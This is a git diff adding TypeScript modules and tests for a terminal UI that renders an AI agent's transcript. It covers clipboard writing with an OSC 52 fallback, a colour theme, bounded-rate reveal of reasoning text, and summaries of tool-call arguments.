renderer owns (markdown, table, diff). + * Empty for a lone agent's own prose: with nothing to disambiguate, the answer + * starts on the first column. Writer identity is a block-level header, not a + * per-row prefix — see `blockLabel`. + */ +export function streamRowGutter( + row: StreamRow, + layout: RowLayout, +): PaintedStreamLine { + const fg = rowFg(row) + if (row.role === "tool") return { content: toolPrefix(row), fg } + const meta = + row.meta !== undefined && row.meta.length > 0 && !isThinkingRow(row) + ? fitMeta(row.meta) + : "" + return { content: meta, fg } +} + +/** + * Markdown styling for transcript bodies, mapped onto the role palette so + * markdown rows read as the same product skin as plain rows. + * Native scope names: `markup.*` for markdown, the rest for fenced-code + * syntax highlighting. + */ +const MARKDOWN_STYLES = { + default: { fg: UI.text }, + conceal: { fg: UI.textFaint, dim: true }, + // Tree-sitter markdown tags headings by level, and SyntaxStyle matches whole + // scope names, so the unnumbered scope alone would never be hit. + "markup.heading": { fg: UI.heading, bold: true }, + "markup.heading.1": { fg: UI.heading, bold: true }, + "markup.heading.2": { fg: UI.heading, bold: true }, + "markup.heading.3": { fg: UI.heading, bold: true }, + "markup.heading.4": { fg: UI.heading, bold: true }, + "markup.heading.5": { fg: UI.heading, bold: true }, + "markup.heading.6": { fg: UI.heading, bold: true }, + "markup.strong": { fg: UI.text, bold: true }, + "markup.italic": { fg: UI.text, italic: true }, + "markup.strikethrough": { fg: UI.textFaint }, + "markup.raw": { fg: UI.inFlight }, + "markup.list": { fg: UI.inFlightBright }, + "markup.quote": { fg: UI.textDim, italic: true }, + "markup.link": { fg: UI.inFlightBright, underline: true }, + "markup.link.label": { fg: UI.inFlightBright }, + "markup.link.url": { fg: UI.inFlightBright, underline: true }, + keyword: { fg: UI.inFlightBright }, + string: { fg: UI.done }, + number: { fg: UI.done }, + comment: { fg: UI.textFaint, italic: true }, + function: { fg: UI.inFlight }, + type: { fg: UI.inFlightBright }, + variable: { fg: UI.text }, + punctuation: { fg: UI.textDim }, +} as const + +let cachedSyntaxStyle: SyntaxStyle | null = null + +/** + * Shared transcript SyntaxStyle. Lazy because construction reaches into the + * native render lib, which is unavailable until a renderer exists. + */ +export function transcriptSyntaxStyle(): SyntaxStyle { + if (cachedSyntaxStyle === null) { + cachedSyntaxStyle = SyntaxStyle.fromStyles({ ...MARKDOWN_STYLES }) + } + return cachedSyntaxStyle +} diff --git a/src/tui-opentui/system-clipboard.test.ts b/src/tui-opentui/system-clipboard.test.ts new file mode 100644 index 000000000..76596459a --- /dev/null +++ b/src/tui-opentui/system-clipboard.test.ts @@ -0,0 +1,52 @@ +import { describe, expect, test } from "bun:test" +import { + clipboardCommands, + createSystemClipboard, + osc52, +} from "./system-clipboard.js" + +describe("system clipboard", () => { + test("darwin writes through pbcopy", async () => { + expect(clipboardCommands("darwin")).toEqual([["pbcopy"]]) + }) + + test("linux tries wayland then X helpers in order", () => { + expect(clipboardCommands("linux").map((c) => c[0])).toEqual([ + "wl-copy", + "xclip", + "xsel", + ]) + }) + + test("osc52 carries base64 payload between ESC ] and BEL", () => { + const seq = osc52("hi") + expect(seq).toBe(`]52;c;${btoa("hi")}`) + }) + + test("stops at the first helper that succeeds", async () => { + const tried: string[] = [] + const escapes: string[] = [] + const clipboard = createSystemClipboard({ + platform: "linux", + spawn: async (argv) => { + tried.push(argv[0] as string) + return argv[0] === "xclip" + }, + writeEscape: (seq) => escapes.push(seq), + }) + await clipboard.writeText("payload") + expect(tried).toEqual(["wl-copy", "xclip"]) + expect(escapes).toEqual([]) + }) + + test("falls back to OSC 52 when no helper works", async () => { + const escapes: string[] = [] + const clipboard = createSystemClipboard({ + platform: "linux", + spawn: async () => false, + writeEscape: (seq) => escapes.push(seq), + }) + await clipboard.writeText("payload") + expect(escapes).toEqual([osc52("payload")]) + }) +}) diff --git a/src/tui-opentui/system-clipboard.ts b/src/tui-opentui/system-clipboard.ts new file mode 100644 index 000000000..d0a296f3c --- /dev/null +++ b/src/tui-opentui/system-clipboard.ts @@ -0,0 +1,83 @@ +/** + * System clipboard port for the keyboard copy path. + * + * Terminal drag-select is unavailable while DEC mouse reporting is on, so + * Alt+C must reach the OS clipboard itself rather than relying on the + * terminal's own selection. Native helpers are preferred; OSC 52 is the + * fallback for remote sessions where no helper binary exists. + */ + +import type { ClipboardPort } from "./copy-path.js" + +export type SpawnClipboard = ( + argv: readonly string[], + text: string, +) => Promise + +/** Candidate write commands, most specific platform first. */ +export function clipboardCommands( + platform: NodeJS.Platform, +): readonly (readonly string[])[] { + if (platform === "darwin") return [["pbcopy"]] + if (platform === "win32") return [["clip"]] + return [ + ["wl-copy"], + ["xclip", "-selection", "clipboard"], + ["xsel", "--clipboard", "--input"], + ] +} + +/** OSC 52 clipboard-set sequence for `text`. */ +export function osc52(text: string): string { + return `]52;c;${Buffer.from(text, "utf8").toString("base64")}` +} + +async function spawnWrite( + argv: readonly string[], + text: string, +): Promise { + try { + const proc = Bun.spawn([...argv], { + stdin: new TextEncoder().encode(text), + stdout: "ignore", + stderr: "ignore", + }) + return (await proc.exited) === 0 + } catch { + return false + } +} + +export type SystemClipboardOptions = { + readonly platform?: NodeJS.Platform + readonly spawn?: SpawnClipboard + /** Where OSC 52 is written when no helper binary works. */ + readonly writeEscape?: (seq: string) => void +} + +/** + * Clipboard port that writes through a platform helper, falling back to OSC 52. + * Every attempt is guarded: a missing helper must degrade, never throw into the + * key handler. + */ +export function createSystemClipboard( + options?: SystemClipboardOptions, +): ClipboardPort { + const platform = options?.platform ?? process.platform + const spawn = options?.spawn ?? spawnWrite + const writeEscape = + options?.writeEscape ?? + ((seq: string) => { + process.stdout.write(seq) + }) + const commands = clipboardCommands(platform) + + return { + writeText: async (text: string) => { + for (const argv of commands) { + if (await spawn(argv, text)) return + } + writeEscape(osc52(text)) + }, + } +} diff --git a/src/tui-opentui/teardown.test.ts b/src/tui-opentui/teardown.test.ts new file mode 100644 index 000000000..e6a9cd6e0 --- /dev/null +++ b/src/tui-opentui/teardown.test.ts @@ -0,0 +1,65 @@ +/** + * Subtree teardown. OpenTUI frees a renderable's native TextBuffer in its own + * `destroy()`, so dropping a subtree without recursing strands every + * descendant's buffer until the process exits. + */ + +import { describe, expect, test } from "bun:test" +import { BoxRenderable, TextRenderable, type CliRenderer } from "@opentui/core" +import { withTestRenderer } from "./harness" +import { appendStreamRow, createAppShell } from "./shell" +import { destroySubtree } from "./teardown" + +function descendants(node: BoxRenderable): readonly TextRenderable[] { + const found: TextRenderable[] = [] + const walk = (current: { getChildren: () => readonly unknown[] }): void => { + for (const child of current.getChildren()) { + if (child instanceof TextRenderable) found.push(child) + walk(child as { getChildren: () => readonly unknown[] }) + } + } + walk(node) + return found +} + +describe("subtree teardown", () => { + test("destroys every descendant, not just the node itself", async () => { + await withTestRenderer(async (h) => { + const box = new BoxRenderable(h.renderer as CliRenderer, { id: "box" }) + const inner = new BoxRenderable(h.renderer as CliRenderer, { id: "inner" }) + const leaf = new TextRenderable(h.renderer as CliRenderer, { + id: "leaf", + content: "leaf", + }) + inner.add(leaf) + box.add(inner) + h.root.add(box) + + destroySubtree(box) + + expect(box.isDestroyed).toBe(true) + expect(inner.isDestroyed).toBe(true) + expect(leaf.isDestroyed).toBe(true) + }) + }) + + test("clearing the landing tears down its text rows", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { wireKeys: false }) + await h.renderOnce() + const landingRows = descendants(h.root as unknown as BoxRenderable) + expect(landingRows.length).toBeGreaterThan(0) + + appendStreamRow(shell, { role: "user", text: "go" }) + await h.renderOnce() + + // A landing row is either still mounted or destroyed; anything detached + // and undestroyed is a stranded native buffer. + const survivors = new Set(descendants(h.root as unknown as BoxRenderable)) + const stranded = landingRows.filter( + (row) => !survivors.has(row) && !row.isDestroyed, + ) + expect(stranded.map((row) => row.id)).toEqual([]) + }) + }) +}) diff --git a/src/tui-opentui/teardown.ts b/src/tui-opentui/teardown.ts new file mode 100644 index 000000000..6e84e7216 --- /dev/null +++ b/src/tui-opentui/teardown.ts @@ -0,0 +1,23 @@ +/** + * Renderable teardown. + * + * OpenTUI's `Renderable.destroy()` frees only the node it is called on: it + * detaches children without destroying them, so every descendant's native + * TextBuffer stays allocated. Any code that drops a subtree must recurse. + */ + +type Destroyable = { + readonly destroyRecursively?: () => void + readonly destroy?: () => void +} + +/** Destroy a renderable and everything beneath it, releasing native buffers. */ +export function destroySubtree(node: unknown): void { + const target = node as Destroyable | null | undefined + if (target === null || target === undefined) return + if (typeof target.destroyRecursively === "function") { + target.destroyRecursively() + return + } + if (typeof target.destroy === "function") target.destroy() +} diff --git a/src/tui-opentui/theme.ts b/src/tui-opentui/theme.ts new file mode 100644 index 000000000..0e578ad90 --- /dev/null +++ b/src/tui-opentui/theme.ts @@ -0,0 +1,102 @@ +/** + * Corbits terminal palette — the single source of truth for every color the + * OpenTUI shell paints. + * + * Three rules the rest of the TUI depends on: + * + * 1. Gray never sits on the ground. Dimmed text is a dimmed *cream* + * (`textDim`, `textFaint`) so the warm bias survives at every emphasis + * level. There is deliberately no neutral gray in this file to reach for. + * 2. Orange is spent once per screen. It marks the session and whatever awaits + * a human decision — nothing else. Ongoing status uses the bronze ramp and + * `done` (green) so it never competes with the one thing asking to be + * answered. Diff removals are the sole exception: there the orange is + * content, not chrome, and no decision-marker shares the row. + * 3. The chrome ramp is warm but never saturated. Every bronze sits at or + * below 54% HSL saturation against Breakthrough Orange's 81%, so full + * orange still arrives as an event rather than as another shade of the + * furniture. + * + * The product owner has deliberately dropped Summit Blue from the terminal: + * cool information read as foreign against cream, black and orange chrome. The + * brand's discipline is kept — small palette, roles not decoration, no hue + * without a job — only the cool end of it is replaced by warm structure. + */ + +/** + * Palette values a theme supplies. Call sites paint through `UI`, never + * through a theme directly, so a second theme is a data change here. + */ +export type Theme = { + readonly name: string + /** Terminal ground. Foreground-only discipline means almost nothing fills it. */ + readonly ground: string + /** All body text. Never white, never gray. */ + readonly text: string + /** Secondary text: labels, context lines, chrome. */ + readonly textDim: string + /** Lowest emphasis: comments, concealed markdown syntax. */ + readonly textFaint: string + /** The session mark and anything awaiting a human decision. */ + readonly action: string + readonly actionDim: string + /** Work in progress: ramps, tool verbs, machine output threaded into prose. */ + readonly inFlight: string + /** The tier above body text that still reads as machine: keywords, links, args. */ + readonly inFlightBright: string + /** Document structure: markdown headings and section rules. */ + readonly heading: string + /** Completed and succeeded. */ + readonly done: string +} + +/** + * Brand hues, plus the warm ramp that replaced Summit Blue. + * + * Lowercase because the renderer normalizes hex that way, and tests compare a + * painted span's `fg` against these constants directly. + */ +export const BRAND = { + // Charcoal rather than pure black: it lifts the interface off the host + // terminal's own background and softens the cream's contrast edge, while + // staying dark enough that `textFaint` keeps a readable margin above it. + ground: "#191614", + canvasCream: "#f7ead5", + breakthroughOrange: "#e98428", + breakthroughOrangeDark: "#bf6b20", + ridgeGreen: "#7b9974", +} as const + +// Cream stepped down toward the ground rather than desaturated toward gray, so +// low-emphasis text keeps the same warm hue as full-emphasis text. +const CREAM_DIM = "#a89f91" +const CREAM_FAINT = "#787166" + +// The warm chrome ramp. Three tones so the roles that once shared a blue stay +// separable — they differ in lightness first, hue second, and all three sit +// well under the action orange's saturation. +const BRONZE = "#93733f" // dimmest: motion and machine chrome +const SAND = "#d1ad7d" // brightest: keywords, links, command arguments +const EMBER = "#a97243" // burnt, between the two: document structure + +export const corbitsDark: Theme = { + name: "corbits-dark", + ground: BRAND.ground, + text: BRAND.canvasCream, + textDim: CREAM_DIM, + textFaint: CREAM_FAINT, + action: BRAND.breakthroughOrange, + actionDim: BRAND.breakthroughOrangeDark, + inFlight: BRONZE, + inFlightBright: SAND, + heading: EMBER, + done: BRAND.ridgeGreen, +} + +/** Every theme that ships. A picker would choose from here. */ +export const THEMES = { [corbitsDark.name]: corbitsDark } as const + +/** Semantic roles. Everything outside this file paints through these. */ +export const UI: Theme = corbitsDark + +export type UIColor = Theme[keyof Theme] diff --git a/src/tui-opentui/thinking-reveal.test.ts b/src/tui-opentui/thinking-reveal.test.ts new file mode 100644 index 000000000..92d639ed0 --- /dev/null +++ b/src/tui-opentui/thinking-reveal.test.ts @@ -0,0 +1,195 @@ +/** + * The reasoning scroll line reveals text at a bounded rate rather than + * jumping straight to the newest token, so a fast model still reads at human + * pace. Pure-function coverage lives here; `advanceOpenReveal`'s wiring + * through the bridge is covered by the bridge/tick test below. + */ + +import { describe, expect, test } from "bun:test" + +import { advanceRevealChars, thinkingScrollLine } from "./thinking" +import { withTestRenderer } from "./harness" +import { attachSessionBridge, createRecordingPort } from "./runtime-bridge" +import { createAppShell } from "./shell" + +function fakeMonitor(): { + readonly monitor: { + now: () => number + tickMs: number + schedule: (tick: () => void, intervalMs: number) => () => void + } + advance: (ms: number) => void +} { + let clock = 0 + let ticker: (() => void) | null = null + return { + monitor: { + now: () => clock, + tickMs: 80, + schedule: (tick) => { + ticker = tick + return () => { + ticker = null + } + }, + }, + advance: (ms) => { + clock += ms + ticker?.() + }, + } +} + +describe("advanceRevealChars", () => { + test("advances at the bounded rate, never past what has arrived", () => { + const revealed = advanceRevealChars(0, 1000, 1000, 28) + expect(revealed).toBe(28) + }) + + test("caps at the available text even given unlimited time", () => { + const revealed = advanceRevealChars(0, 10, 10_000, 28) + expect(revealed).toBe(10) + }) + + test("does not regress when elapsed time is zero", () => { + expect(advanceRevealChars(15, 40, 0, 28)).toBe(15) + }) + + test("clamps a stale reveal ahead of a shrunk available count", () => { + expect(advanceRevealChars(50, 20, 100, 28)).toBe(20) + }) +}) + +describe("thinkingScrollLine with a reveal position", () => { + const text = "the quick brown fox jumps over the lazy dog and keeps running" + + test("shows nothing revealed as an empty line", () => { + expect(thinkingScrollLine(text, 20, 0)).toBe("") + }) + + test("shows only the revealed prefix, windowed onto its own tail", () => { + // 20 chars revealed, 10-column window → last 10 of the first 20 chars. + expect(thinkingScrollLine(text, 10, 20)).toBe(text.slice(10, 20)) + }) + + test("never shows text past the reveal position even though more has arrived", () => { + const line = thinkingScrollLine(text, 10, 15) + expect(line).not.toContain("fox") + expect(text.indexOf(line)).toBeLessThan(15) + }) + + test("omitting revealChars keeps the old always-tail behaviour", () => { + expect(thinkingScrollLine(text, 10)).toBe(text.slice(text.length - 10)) + }) + + test("sample frames across a few rates, printed for eyeballing", () => { + const sample = "we need to check whether the cache key already accounts for the locale" + for (const rate of [15, 20, 28, 40, 60]) { + const frames = [200, 500, 1000, 1500].map((ms) => { + const chars = advanceRevealChars(0, sample.length, ms, rate) + return thinkingScrollLine(sample, 30, chars) + }) + // eslint-disable-next-line no-console + console.log(`rate=${rate}/s`, frames) + } + expect(true).toBe(true) + }) +}) + +describe("the reveal position through the bridge", () => { + test("a stalled stream stalls the line instead of showing blanks", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const { monitor, advance } = fakeMonitor() + const bridge = attachSessionBridge(shell, createRecordingPort(), monitor) + try { + bridge.handle({ type: "inference.start", data: {} }) + bridge.handle({ + type: "inference.thinking.delta", + data: { token: "short thought" }, + }) + advance(80) + const first = shell.streamLog.at(-1) + advance(80) + const second = shell.streamLog.at(-1) + // Text is short enough to fully reveal quickly; once it has, further + // ticks with no new delta must not change the painted row. + advance(5_000) + const third = shell.streamLog.at(-1) + expect(first?.text).toBe("short thought") + expect(second?.text).toBe(third?.text) + } finally { + bridge.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("a burst of text does not jump the window ahead of the bounded rate", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const { monitor, advance } = fakeMonitor() + const bridge = attachSessionBridge(shell, createRecordingPort(), monitor) + try { + bridge.handle({ type: "inference.start", data: {} }) + const long = "x".repeat(500) + bridge.handle({ + type: "inference.thinking.delta", + data: { token: long }, + }) + advance(80) + const row = shell.streamLog.at(-1) + expect(row?.revealChars).toBeDefined() + expect(row?.revealChars ?? 0).toBeLessThan(500) + } finally { + bridge.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("the row still settles to its phrase once reasoning closes, even mid-reveal", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const { monitor, advance } = fakeMonitor() + const bridge = attachSessionBridge(shell, createRecordingPort(), monitor) + try { + bridge.handle({ type: "inference.start", data: {} }) + const long = "x".repeat(500) + bridge.handle({ + type: "inference.thinking.delta", + data: { token: long }, + }) + advance(80) + bridge.handle({ + type: "inference.text.delta", + data: { token: "answer" }, + }) + const thinkingRow = shell.streamLog.find((r) => r.meta === "thinking") + expect(thinkingRow?.thought).toBeDefined() + expect(thinkingRow?.streaming).not.toBe(true) + } finally { + bridge.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/thinking.ts b/src/tui-opentui/thinking.ts new file mode 100644 index 000000000..0f55d19e2 --- /dev/null +++ b/src/tui-opentui/thinking.ts @@ -0,0 +1,95 @@ +/** + * Reasoning chrome: the one line a chain of thought occupies while it streams, + * and what that same line keeps once it is done. + * + * Reasoning is not the answer, so it never gets to own the screen. While it + * arrives it rides a single row whose window follows the newest text; once the + * turn moves on that same row stops moving and simply stays, with the full text + * one keypress away. The row goes quiet rather than transforming: nothing the + * operator was reading is substituted out from under them. + */ + +import { + sliceTailToWidth, + sliceToWidth, + stringWidth, +} from "../tui/view/height.js" + +/** What a settled reasoning row remembers about the thinking it finished. */ +export type Thought = { + /** Wall time the reasoning took, in milliseconds. */ + readonly ms: number +} + +/** + * Whitespace-flattened reasoning text, matching what `thinkingScrollLine` + * windows onto. Exposed so callers computing a reveal position (chars + * available to reveal) count in the same units as the paint function. + */ +export function flattenReasoningText(text: string): string { + return text.replace(/\s+/g, " ").trimStart() +} + +/** + * Characters per second the reveal position advances at while reasoning + * streams. Picked by printing sample frames at 15/20/28/40/60 chars/sec and + * reading them back: below ~20 the line feels laggy against a fast model, + * above ~40 it is back to unreadable. 28 landed as fast-but-legible. + */ +export const REVEAL_CHARS_PER_SEC = 28 + +/** + * Advance a reveal position toward the text that has actually arrived, capped + * at a bounded reading rate. Never exceeds `availableChars` (can't outrun the + * text) and never regresses (a shrinking available count — should not happen, + * but the row must not visibly rewind if it does). + */ +export function advanceRevealChars( + prevChars: number, + availableChars: number, + elapsedMs: number, + charsPerSec: number = REVEAL_CHARS_PER_SEC, +): number { + const clampedPrev = Math.min(prevChars, availableChars) + if (elapsedMs <= 0) return clampedPrev + const grown = clampedPrev + (elapsedMs / 1000) * charsPerSec + return Math.min(availableChars, grown) +} + +/** + * Live reasoning as one row: whitespace flattened, windowed onto the newest + * *revealed* text. `revealChars` is the bounded-rate reveal position computed + * by `advanceRevealChars`; omitting it (settled rows, tests, fixtures) shows + * the text in full, which is the old always-tail behaviour. + */ +export function thinkingScrollLine( + text: string, + width: number, + revealChars?: number, +): string { + const flat = flattenReasoningText(text) + const columns = Math.max(1, Math.floor(width)) + const revealed = + revealChars === undefined + ? flat.length + : Math.max(0, Math.min(flat.length, Math.floor(revealChars))) + const visible = flat.slice(0, revealed) + return sliceTailToWidth(visible, columns) +} + +/** Marker that a settled reasoning line is holding back the rest of the text. */ +const ELLIPSIS = "…" + +/** + * Settled reasoning as one line: the *opening* of the chain of thought, cut to + * the row's columns. The opening is what the reasoning is about and reads as a + * whole clause; the tail is wherever the model happened to stop, which is + * usually a fragment mid-sentence. The rest stays behind the expand key. + */ +export function thinkingSettledLine(text: string, width: number): string { + const flat = flattenReasoningText(text).trimEnd() + const columns = Math.max(1, Math.floor(width)) + if (stringWidth(flat) <= columns) return flat + const room = Math.max(0, columns - stringWidth(ELLIPSIS)) + return `${sliceToWidth(flat, room).trimEnd()}${ELLIPSIS}` +} diff --git a/src/tui-opentui/tool-args.ts b/src/tui-opentui/tool-args.ts new file mode 100644 index 000000000..4bc1d001d --- /dev/null +++ b/src/tui-opentui/tool-args.ts @@ -0,0 +1,280 @@ +/** + * Human-readable tool arguments for the transcript. + * + * Raw JSON arguments are the single loudest thing a transcript can paint and + * the least readable, so a call shows what it *is* — a path, a command, the + * shape of a view — and keeps the structured form behind the expand key. + * + * The summary wording comes from `tui/tool-formatter`, which already knows how + * every first-party tool is shaped; the expanded view tree comes from + * `tui/view`, which already knows how to lay one out. Neither is re-derived + * here: this module only maps them onto the OpenTUI palette and row model. + */ + +import { isMcpToolName } from "../mcp/tool-name.js" +import type { SemanticRole } from "../tui/theme.js" +import { summarizeToolArgs } from "../tui/tool-formatter.js" +import { validateView, viewToLines, type ViewNode } from "../tui/view/index.js" +import type { StyledBodyLine } from "./stream.js" +import { UI } from "./theme.js" + +/** + * A summarised call: the collapsed line, and the body the expand key reveals. + * An empty summary means the row's verb already names the whole call and a + * subject would only repeat it; an absent detail means there is nothing behind + * the summary worth an arrow. + */ +export type ToolArgsView = { + readonly summary: string + readonly detail?: readonly StyledBodyLine[] +} + +/** + * View roles in the Corbits terminal palette. Warning and danger both land on + * the action orange for the same reason the MCP table does: there is no red in + * the brand system, and no decision marker competes on these rows. + */ +const ROLE_FG: Partial> = { + accent: UI.inFlightBright, + brand: UI.action, + success: UI.done, + warning: UI.actionDim, + danger: UI.action, + muted: UI.textDim, + dim: UI.textFaint, + emphasis: UI.text, +} + +function viewFg(role: SemanticRole): string { + return ROLE_FG[role] ?? UI.text +} + +/** Columns an expanded body is laid out for; the paint layer wraps the rest. */ +export const TOOL_DETAIL_WIDTH = 88 + +/** A tall expansion is still a transcript row, not a pager. */ +const MAX_DETAIL_LINES = 60 + +function parseObject(raw: string): Record | null { + let parsed: unknown + try { + parsed = JSON.parse(raw) + } catch { + return null + } + if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) { + return null + } + return parsed as Record +} + +/** + * The view tree a call carries, either as its whole argument object or under a + * `view` key. Validated rather than duck-typed: an unvalidated tree would reach + * a renderer that trusts its shape. + */ +function viewArgument(args: Record): ViewNode | null { + const candidate = "view" in args ? args.view : args + const result = validateView(candidate) + return result.ok ? result.node : null +} + +function countByType(node: ViewNode, into: Map): void { + const children = + node.type === "stack" || node.type === "row" || node.type === "box" + ? node.children + : node.type === "grid" + ? node.rows.flat() + : [] + for (const child of children) { + into.set(child.type, (into.get(child.type) ?? 0) + 1) + countByType(child, into) + } +} + +/** A view tree by shape: its root, then what it is made of. */ +export function describeView(node: ViewNode): string { + const counts = new Map() + countByType(node, counts) + const parts = [...counts.entries()] + .sort((a, b) => b[1] - a[1] || a[0].localeCompare(b[0])) + .map(([type, n]) => `${n} ${type} node${n === 1 ? "" : "s"}`) + return parts.length === 0 ? node.type : `${node.type} · ${parts.join(" · ")}` +} + +function viewDetail(node: ViewNode): readonly StyledBodyLine[] { + return viewToLines(node, TOOL_DETAIL_WIDTH, viewFg) + .slice(0, MAX_DETAIL_LINES) + .map((line) => + line.map((segment) => ({ + text: segment.text, + fg: segment.color ?? UI.text, + ...(segment.bold === true ? { bold: true } : {}), + })), + ) +} + +function isScalar(value: unknown): boolean { + return ( + value === null || + typeof value === "string" || + typeof value === "number" || + typeof value === "boolean" + ) +} + +/** + * Scalar arguments as `key value` pairs with their newlines intact — a shell + * command or a prompt is written to be read as text, and pretty-printed JSON + * would hand it back with its line breaks escaped. + */ +function scalarDetail(args: Record): readonly StyledBodyLine[] | null { + const entries = Object.entries(args) + if (entries.length === 0 || !entries.every(([, value]) => isScalar(value))) { + return null + } + const lines: StyledBodyLine[] = [] + for (const [key, value] of entries) { + const text = typeof value === "string" ? value : JSON.stringify(value) + const rows = (text ?? "null").split("\n") + rows.forEach((row, i) => { + lines.push( + i === 0 + ? [ + { text: `${key}: `, fg: UI.textDim }, + { text: row, fg: UI.text }, + ] + : [{ text: `${" ".repeat(key.length + 2)}${row}`, fg: UI.text }], + ) + }) + } + return lines.slice(0, MAX_DETAIL_LINES) +} + +function jsonDetail(value: unknown): readonly StyledBodyLine[] { + return JSON.stringify(value, null, 2) + .split("\n") + .slice(0, MAX_DETAIL_LINES) + .map((line) => [{ text: line, fg: UI.text }]) +} + +/** Arguments short enough to read inline are left alone rather than summarised. */ +const INLINE_MAX = 60 + +/** + * Argument a call is *about*, most-meaningful first. A row's subject is one + * value — the query, the command, the URL — because a transcript is scanned, + * and a serialised argument list spends the row's columns on a second argument + * that is then cut off mid-word ("numR…"). Everything else is behind the arrow. + */ +const SUBJECT_KEYS = [ + "command", + "query", + "url", + // A search names what it searched for, not where: the path is the scope. + "pattern", + "path", + "file_path", + "prompt", + "description", + "name", +] as const + +/** Columns a subject may claim before the paint layer cuts it to the row. */ +const SUBJECT_MAX = 96 + +function flatten(value: string): string { + return value.replace(/\s+/g, " ").trim() +} + +/** + * The one argument worth painting, or null when nothing scalar stands out. + * Falls back to the first scalar argument so an unknown tool still reads as a + * subject rather than as a key/value dump. + */ +function primarySubject(args: Record): string | null { + for (const key of SUBJECT_KEYS) { + const value = args[key] + if (typeof value === "string" && flatten(value).length > 0) { + return flatten(value).slice(0, SUBJECT_MAX) + } + } + const first = Object.entries(args).find( + ([, value]) => typeof value === "string" && flatten(value).length > 0, + ) + return first === undefined ? null : flatten(first[1] as string).slice(0, SUBJECT_MAX) +} + +/** + * Whether the formatter fell back to serialising the whole argument object. + * Its per-tool cases (a shortened path, a task description) are better subjects + * than anything picked here, and they never lead with `key: `. + */ +function isArgumentList(args: Record, summary: string): boolean { + return Object.keys(args).some((key) => summary.startsWith(`${key}: `)) +} + +/** The subject a summarised call paints: one argument, without its key. */ +function subjectFor( + name: string, + raw: string, + args: Record, +): string { + const { summary } = summarizeToolArgs(name, raw) + if (!isArgumentList(args, summary)) return summary + return primarySubject(args) ?? summary +} + +/** + * The summary/detail pair for a tool call's arguments, or null when the call + * has nothing worth hiding — short literal arguments read better as themselves + * than as a summary with an expand hint attached. + */ +export function toolArgsView(name: string, rawArgs: string): ToolArgsView | null { + const raw = rawArgs.trim() + if (raw.length === 0) return null + const args = parseObject(raw) + + if (args !== null) { + const view = viewArgument(args) + if (view !== null) { + return withDetail(describeView(view), viewDetail(view)) + } + } + + // An MCP call's verb is already "Linear: list issues" — the whole sentence. + // Its arguments are a query, not a subject: nobody reads a transcript for + // the pagination cursor, so they belong behind the expand key or nowhere. + if (args !== null && isMcpToolName(name)) { + return withDetail("", scalarDetail(args) ?? jsonDetail(args)) + } + + if (args === null && raw.length <= INLINE_MAX && !raw.includes("\n")) return null + + if (args === null) { + const { summary } = summarizeToolArgs(name, raw) + return summary.length === 0 ? null : withDetail(summary, jsonDetail(raw)) + } + const subject = subjectFor(name, raw, args) + if (subject.length === 0) return null + return withDetail(subject, scalarDetail(args) ?? jsonDetail(args)) +} + +/** + * Pair a summary with a body only when the body says something the summary does + * not. An expansion that restates its own collapsed line earns an arrow that + * leads nowhere, which is worse than showing nothing. + */ +function withDetail( + summary: string, + detail: readonly StyledBodyLine[], +): ToolArgsView { + const plain = detail + .map((line) => line.map((segment) => segment.text).join("").trim()) + .join("\n") + .trim() + // A one-argument call whose subject *is* that argument reveals nothing but + // the key it was already named by, so it earns no arrow. + const bare = plain.includes("\n") ? plain : plain.replace(/^[A-Za-z_][\w.-]*:\s*/, "") + return bare === summary.trim() ? { summary } : { summary, detail } +} diff --git a/src/tui-opentui/tool-rows.test.ts b/src/tui-opentui/tool-rows.test.ts new file mode 100644 index 000000000..5307293c4 --- /dev/null +++ b/src/tui-opentui/tool-rows.test.ts @@ -0,0 +1,235 @@ +/** + * One row per tool use: a call and its answer share a row, and a repeated call + * collapses onto the row it repeats. + */ +import { describe, expect, test } from "bun:test" + +import { toolCallRow } from "./diff" +import { withTestRenderer } from "./harness" +import { attachSessionBridge, createRecordingPort } from "./runtime-bridge" +import { createAppShell } from "./shell" +import { + paintStreamRow, + toolSentenceLines, + type RowLayout, + type StreamRow, +} from "./stream" +import { pushToolCall, pushToolResult } from "./tool-rows" + +const LAYOUT: RowLayout = { width: 72, multiAgent: false } + +const painted = (row: StreamRow): string => paintStreamRow(row, LAYOUT).content + +const LINEAR_ISSUES = JSON.stringify({ + issues: [ + { id: "1", title: "First" }, + { id: "2", title: "Second" }, + ], +}) + +describe("a call and its answer", () => { + test("are one row, the answer supplying the subject", () => { + const rows: StreamRow[] = [] + pushToolCall(rows, { + name: "mcp__linear__list_issues", + arguments: JSON.stringify({ team: "core" }), + }) + expect(rows.length).toBe(1) + expect(rows[0]?.pending).toBe(true) + + pushToolResult(rows, { + name: "mcp__linear__list_issues", + content: LINEAR_ISSUES, + }) + expect(rows.length).toBe(1) + expect(rows[0]?.pending).toBeUndefined() + // The subject stays the call; the answer adds only a certain count. + expect(rows[0]?.verb).toBe("Linear: List Issues") + expect(rows[0]?.stat).toBe("2 results") + expect(painted(rows[0]!)).not.toContain("└") + }) + + test("keep the call as the subject, never the payload", () => { + const rows: StreamRow[] = [] + pushToolCall(rows, { + name: "fetch", + arguments: JSON.stringify({ url: "https://www.apple.com" }), + }) + pushToolResult(rows, { + name: "fetch", + content: "# Apple\n[Apple](/) - [Store](/us/shop/goto/store)\nmore page\nand more", + }) + expect(rows.length).toBe(1) + expect(rows[0]?.summary).toContain("https://www.apple.com") + expect(rows[0]?.summary).not.toContain("Apple](") + expect(rows[0]?.stat).toBe("4 lines") + // The page itself is one keypress away rather than on the summary line. + expect(rows[0]?.detail).toBeDefined() + }) + + test("take a short factual answer as an addendum", () => { + const rows: StreamRow[] = [] + pushToolCall(rows, { name: "grep", arguments: JSON.stringify({ pattern: "legacy_token" }) }) + pushToolResult(rows, { name: "grep", content: "no matches" }) + expect(rows[0]?.stat).toBe("no matches") + expect(rows[0]?.detail).toBeUndefined() + }) + + 